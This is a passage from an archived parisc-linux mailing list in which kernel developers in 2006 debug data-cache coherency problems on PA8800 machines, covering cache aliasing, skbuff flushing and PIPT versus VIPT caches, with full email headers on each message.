/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sun, 23 Jul 2006 18:03:47 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <7d01f9f00607231503j7943b075ub6d98f0d5f9c3162@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<7d01f9f00607221801v256dd541l152a85d7624a8d5b@mail.gmail.com>
	<200607231128.45454.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624143 20582 80.91.229.3 (22 Nov 2014 02:42:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@morethan.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jul 2006 22:04:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 24 Jul 2006 00:04:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40A8E7D6E1;
	Sun, 23 Jul 2006 16:03:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06822-10; Sun, 23 Jul 2006 16:03:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 407697D6D5;
	Sun, 23 Jul 2006 16:03:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8416F7D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 16:03:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06734-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 16:03:49 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by free.linux.hp.com (Postfix) with ESMTP id 30D6D7D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 16:03:49 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so2215510ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 15:03:47 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=luj/pmEfqo6hCShHYsoDtu6LqoCpdiSRxYJB0Dv2kcFi5Oql2/b5ouzFJC5oESrUCBxqVtrIKU7TfHUZtdBQzC2udDysBrOiGyuebsNDpZHi6ywWdlhcRy6mE4Pl4VGoiZEmUczyBX1okJ/UKAkbUAnoGY1TfAWrrloWY3pRfv4=
Original-Received: by 10.78.140.17 with SMTP id n17mr1243119hud;
	Sun, 23 Jul 2006 15:03:47 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sun, 23 Jul 2006 15:03:47 -0700 (PDT)
In-Reply-To: <200607231128.45454.mszick@morethan.org>
Content-Disposition: inline
X-Google-Sender-Auth: 8f5eb83cce51b74d
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MZ6oLPwjTlIvsreQeGhr4mJGU2poZRl+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23860

On 7/23/06, Michael S. Zick <mszick@morethan.org> wrote:
> On Sat July 22 2006 20:01, Thibaut VARENE wrote:
> > Carlos,
> >
> > I'm observing something totally crazy right now. On the very same
> > machine we hacked yesterday, exact same setup (same kernel, same
> > binary, same everything):
> >
> > i /can't/ start our static sshd anymore. It dies right after a sysctl (!):
> >
> > I'm leaving the box powered up, not touching anything until we get a
> > chance to investigate this a bit more.
> >
>
> Is it still possible to capture the kernel's internal state by
> copying /proc/kcore to a file somewhere?

That box hit the "kill your fs" bug I've seen on ppc and ia64
(upcoming report mail to be posted soon) so it's basically dead at
that point and I'm having hard time reinstalling it (thanks to pa8800
being /such/ a hassle to install remotely).

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Mon, 24 Jul 2006 09:51:37 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1153752697.1235.32.camel@mulgrave.il.steeleye.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624144 20584 80.91.229.3 (22 Nov 2014 02:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:24 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 14:51:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 24 Jul 2006 16:51:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54DE07D793;
	Mon, 24 Jul 2006 08:51:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18380-04; Mon, 24 Jul 2006 08:51:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3AAE7D797;
	Mon, 24 Jul 2006 08:51:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4873C7D78F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:51:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18380-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:51:41 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 035A27D773
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:51:40 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k6OEpcY26906; Mon, 24 Jul 2006 10:51:38 -0400
In-Reply-To: <1153708426.1235.11.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6LOmENsCbXBtrLqHPTQ2qV0qLyUmZchU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23861

On Sun, 2006-07-23 at 22:33 -0400, James Bottomley wrote:
> > Grant expressed worry that "Pattern 1" was indicative of a dma sync
> > problem with the network socket read.
> 
> I'm still dubious about this one ... even if we agree it's a D cache
> issue, it's definitely a D cache issue affecting program execution (i.e.
> function pointers or call indirection).  The data coming out of the
> network pipe for ssh never finds its way into the execution stream,
> which means it's unlikely to affect these areas.  Additionally, ssh has
> message integrity checks which fail noisily (i.e. the network data is
> verified against a secure hash before it's used).  So, if we had
> incoherent data from the pipe, I would exect to see periodic MIC
> failures, which we don't see.

Let me back up on this one.  I still don't think it's a DMA sync issue.
However, it could be a different D incoherency issue.  Because the linux
kernel operates with kernel to user aliases (i.e. the user address of a
page is rarely congruent to the kernel address of a page) it is possible
to generate D incoherency by missing a flush when a kernel page is
reclaimed (i.e. freed).

The scenario that resonates nicely with all this has to do with the
skbuff allocation and copying.  Because the network read path isn't zero
copy, we do intermediate copies into skbuff areas before eventually
sending the data to the user socket.  the idea is that the skbuff is
freed and then reallocated to the user process in the fault (this gives
us the necessary same physical index).  If the kernel address of the
skbuff were accidentally congruent to the fault address, we'd actually
see the skbuff data instead of the underlying page data if it weren't
flushed.  The problem, as usual, is that this isn't pa8800 specific ...

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Mon, 24 Jul 2006 10:58:24 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200607241458.k6OEwOif027105@hiauly1.hia.nrc.ca>
References: <20060724033223.GE29603@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624144 20587 80.91.229.3 (22 Nov 2014 02:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:24 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 T-Bone@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 14:58:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 24 Jul 2006 16:58:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DD147D798;
	Mon, 24 Jul 2006 08:58:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18380-10; Mon, 24 Jul 2006 08:58:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3577B7D79E;
	Mon, 24 Jul 2006 08:58:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D4F67D797
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:58:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18271-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:58:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 746D67D793
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:58:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6OEwO1f027106;
	Mon, 24 Jul 2006 10:58:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6OEwOif027105;
	Mon, 24 Jul 2006 10:58:24 -0400 (EDT)
In-Reply-To: <20060724033223.GE29603@parisc-linux.org> from "Matthew Wilcox"
	at Jul 23, 2006 09:32:23 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LtbxdQxKbUko7+nGPWgngwtkZ2hlNwol
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23862

> On Sun, Jul 23, 2006 at 10:54:38PM -0400, Thibaut VARENE wrote:
> > My take is that we see that bug so much more on pa8800 because of its
> > huge cache and thus because we hit cache much more often than on all
> > other machines...
> 
> I don't think so.  pa8800 has less cache per core than pa8700.  The L2
> cache is ignorable for the purposes of this scenario, since it's
> transparent to software.

It is visible.  You see it in the size returned for the D cache by
PDC_CACHE.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Mon, 24 Jul 2006 10:32:28 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20060724163228.GA22560@colo.lackof.org>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624144 20588 80.91.229.3 (22 Nov 2014 02:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:24 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 16:32:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 24 Jul 2006 18:32:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E20957D77F;
	Mon, 24 Jul 2006 10:32:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20022-09; Mon, 24 Jul 2006 10:32:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D7357D783;
	Mon, 24 Jul 2006 10:32:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA4F77D77E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 10:32:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20026-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 10:32:27 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A5D047D76B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 10:32:27 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3C4F936003D;
	Mon, 24 Jul 2006 10:32:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22237-05; Mon, 24 Jul 2006 10:32:28 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E0534360024; Mon, 24 Jul 2006 10:32:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1153750204.1235.18.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RJ+xd/dxODBpsLWUfGRMqQg1Ji9SWlJO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23863

On Mon, Jul 24, 2006 at 09:10:04AM -0500, James Bottomley wrote:
> What Matthew means is that the L2 cache is PIPT ... you can't get
> aliasing effects in a PIPT cache, so for the purposes of the problem it
> must be ignorable, since we can only get aliasing effects in the L1
> cache which is VIPT.

While I agree in general that a PIPT cache won't have aliasing effects.
ISTR the virtual coherence index (VCI) is part of the "physical address".
If it's not, I'm confused how CPUs on different sockets remain coherent.
I expect the VCI is visible across the Mckinley Bus and thus is part
of the physical address. IOMMU is also pushing out an address that
has VCI bits in it - so DMA remains coherent with CPU virtual addresses.

If I've got this right, then we can have aliasing in PIPT cache.
Willy, can you check the pa8800 ERS and look for "coherence index"
or similar, related words?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 14:27:58 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20060724182758.GC15566@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624145 20593 80.91.229.3 (22 Nov 2014 02:42:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:25 +0000 (UTC)
Cc: klibc@zytor.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 18:28:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 24 Jul 2006 20:28:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0563F7D769;
	Mon, 24 Jul 2006 12:28:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20991-08; Mon, 24 Jul 2006 12:28:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDCF17D76C;
	Mon, 24 Jul 2006 12:28:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0A237D761
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 12:28:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20991-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 12:28:29 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id A9C7A7D760
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 12:28:29 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2EC0A5840B6;
	Mon, 24 Jul 2006 14:28:29 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 879225840AE;
	Mon, 24 Jul 2006 14:28:28 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1630323E84;
	Mon, 24 Jul 2006 14:28:28 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02674-02; Mon, 24 Jul 2006 14:28:27 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (athena.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id CB37223E82;
	Mon, 24 Jul 2006 14:28:27 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 022F23B060; Mon, 24 Jul 2006 14:27:58 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
